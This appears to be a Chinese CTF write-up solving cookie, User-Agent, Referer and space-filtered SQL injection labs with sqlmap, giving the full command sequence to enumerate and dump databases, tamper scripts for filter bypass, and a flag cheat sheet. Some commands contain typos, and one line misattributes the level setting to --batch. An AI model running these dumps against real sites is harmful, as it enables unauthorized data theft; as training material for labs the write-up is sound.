sql注入 (运用sqlmap解题)

注:level参数

使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。

--level 参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。

  • level 1默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:除了前面提到的,还会检查 cookie 里的数据。
  • level 3:user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。

1.cookie注入

1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了

2)用BP抓包,

3)然后把抓到的信息存成txt文件

4)然后用sqlmap查看是否有sql注入

sqlmap -r "文件地址"

5)从扫描结果可以看出这里它是使用了cookie注入

然后我们查看一下它的数据库

sqlmap -r '文件地址' --dbs

6)查到它有四个库,一次查看后有用数据在sqli里

查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch

7)然后再查看表里的字段信息

sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch

然后便能找到flag

2.UA注入

1)进入题目环境,页面显示注入类型为UA注入

2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存

3)接着用sqlmap测试注入类型及注入点

复制代码
sqlmap -u "网址" -level 3 --dbs

4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里

查看里面的数据

复制代码
sqlmap -u "网址" level 3 -D sqli --tables --dbs

5)找到表里有两个字段,查看第一个

复制代码
sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch

然后找到flag

3.Refer注入

1)进入题目环境

2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了

sqlmap -u "网址" -level 3 --dbs

3)扫出数据库,然后查表,查到在sqli里面

sqlmap -u "网址" -D sqli --tables --batch

4)然后扫描字段数据

sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch

4.过滤空格

1)进入环境,说是空格被过滤

2)用sqlmap扫描时需要用到sqlmap的脚本

space2comment.py 用"/**/"替换空格符

注入命令

复制代码
sqlmap -u '网址'--current-db --tamper=space2comment.py

3)扫出sqli,然后看表里内容,得到flag

复制代码
sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py

5.小结

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

常见需要注意的一些命令

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

相关推荐
DashVector2 小时前
向量检索服务 DashVector产品计费
数据库·数据仓库·人工智能·算法·向量检索
KYGALYX3 小时前
在Linux中备份msyql数据库和表的详细操作
linux·运维·数据库
檀越剑指大厂3 小时前
金仓KReplay:定义数据库平滑迁移新标准
数据库
努力成为一个程序猿.3 小时前
【Flink】FlinkSQL-动态表和持续查询概念
大数据·数据库·flink
kali-Myon4 小时前
NewStarCTF2025-Week4-Web
sql·安全·web安全·php·ctf·ssti·ssrf
毕设十刻4 小时前
基于Vue的学分预警系统98k51(程序 + 源码 + 数据库 + 调试部署 + 开发环境配置),配套论文文档字数达万字以上,文末可获取,系统界面展示置于文末
前端·数据库·vue.js
liliangcsdn5 小时前
如何利用约束提示优化LLM在问题转sql的一致性
数据库·sql
Java爱好狂.5 小时前
分布式ID|从源码角度深度解析美团Leaf双Buffer优化方案
java·数据库·分布式·分布式id·es·java面试·java程序员
Elastic 中国社区官方博客6 小时前
通过混合搜索重排序提升多语言嵌入模型的相关性
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
倔强的石头1066 小时前
KingbaseES:从兼容到超越,详解超越MySQL的权限隔离与安全增强
数据库·mysql·安全·金仓数据库